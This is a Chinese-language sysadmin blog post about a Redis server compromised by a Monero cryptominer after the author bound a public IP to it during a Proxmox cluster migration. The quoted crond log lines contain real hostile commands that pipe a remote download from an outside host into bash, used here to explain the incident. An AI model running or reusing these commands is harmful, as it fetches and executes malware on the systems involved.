一不小心，老司机又翻车了

作者：田逸（sery@163.com）

这几天一直忙着往proxmox集群里边迁移服务，进展还是比较顺利。通过整合资源，两个机柜的服务器，下架以后，就剩一个柜子了，后边再迁移一下，还能下架一些旧的配置低的服务器。因为机柜电源的限制，迫不得已还得下架一台有公网ip的旧服务器。为了保证可用性，临时在一台有redis应用的服务器上绑定了一个公网ip。然后开始部署keepalived及haproxy，但搞半天，没把keepalived给安装上，估计是centos版本的问题。确认了一下，就是不安装也不影响业务，就暂时不管它，忙别的事情去了。

四台proxomox组成的集群，加上一台交换机，临时放在另外一个机柜里边。等下架旧服务器后，再把这四台服务器及交换机整合到一个机柜。因此整个下午到夜里，都在折腾这个事情。搬迁的原则是不能停服务，同时担心机器关机可能会导致proxmox集群崩溃。待去机房的兄弟把旧机器下架后，做如下的安排：（1） 服务器拔掉一根电源线，然后插在目标机柜的插口上。因为是双电源，而且两个机柜是挨着的，只要动作轻柔，可以保证不会断电停机。（2） 交换机不是双电，一断电集群就可能崩溃。在目标柜子柜子放一交换机，加电。从待搬服务器拔掉一个网线，插到此交换机；接着拔第二台服务器的一根网线，也插过来。于此同时，把另外一口的网线拔掉，观察网络状态。因为proxmox做了网卡绑定（bond），因此这样操作，也不会导致网络中断。确保网线插别的交换机没问题后，就可以从机架上把服务器不停机进行搬迁。

搬迁完，联系相关人等挨个测试应用，看是否正常，本人也时不时查看集群负载，也没有任何波动，一干人等回家散去，放心睡觉。

今天醒来，一看qq消息，群里闹翻了，说一个重要的下载业务的数据统计不显示。经排查，是一台redis的物理机出故障所致。

赶紧登陆系统，一通排查，卧槽,/tmp目录下有个文件littletrump！看看这个有没有建立起监听. 果然中招！习惯性的查看/etc/passwd、/home目录、crontab等，只有crontab存在麻烦，进行编辑，全是一堆乱码。用dd键狂删，毫无作用。再用echo> /tmp/ crontab.XXXX* 清空，也没有什么作用。进目录/var/spool/cron/ ，把root等文件直接干掉了事。

那么问题来了，这个恶意Muma是怎么进来的？又是干什么用的呢？

先回答恶意muma是干啥的。根据排查，得到一个域名，用浏览器访问，得到如下页面。原来是挖矿的，从crond日志可进一步判断，是挖门罗币的。

Sep 28 01:20:01 Cache crond[10825]: (root) CMD (/usr/lib64/sa/sa1 10 60) Sep 28 01:20:01 Cache crond[10826]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash) Sep 28 01:21:01 Cache crond[11156]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate | bash) Sep 28 01:25:01 Cache crond[12391]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash) Sep 28 01:28:02 Cache crond[13532]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate | bash) Sep 28 01:30:01 Cache crond[14258]: (root) CMD (/usr/lib64/sa/sa1 10 60) Sep 28 01:30:01 Cache crond[14259]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash) Sep 28 01:35:01 Cache crond[16051]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash) Sep 28 01:35:01 Cache crond[16054]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate | bash) Sep 28 01:40:01 Cache crond[18117]: (root) CMD (/usr/lib64/sa/sa1 10 60) Sep 28 01:40:01 Cache crond[18118]: (root) CMD (curl -fsSLk https://pixeldra.in/api/download/uhUiqw | bash) Sep 28 01:42:01 Cache crond[18996]: (root) CMD (wget -q -O- https://pixeldra.in/api/download/uhUiqw --no-check-certificate | bash) ………………….省略若干……………………….

第二个问题“恶意muma是怎么进来的呢”？是因为redis监听地址是0.0.0.0:6379，我昨天为了做keepalived HA，给网卡绑定了公网地址。有心人一扫描，就发现这个redis版本漏洞，就利于它侵略进来了。

后边的处理就简单了。Proxmox平台部署一套redis，把备份复制过去，恢复。现有的系统干掉，重装系统，另做他用。

更加体系化和实例化的proxmox超融合私有云实践系列文章，请移步本人专栏“人人都能玩的私有云神器-proxmox”，猛戳此处，片刻直达！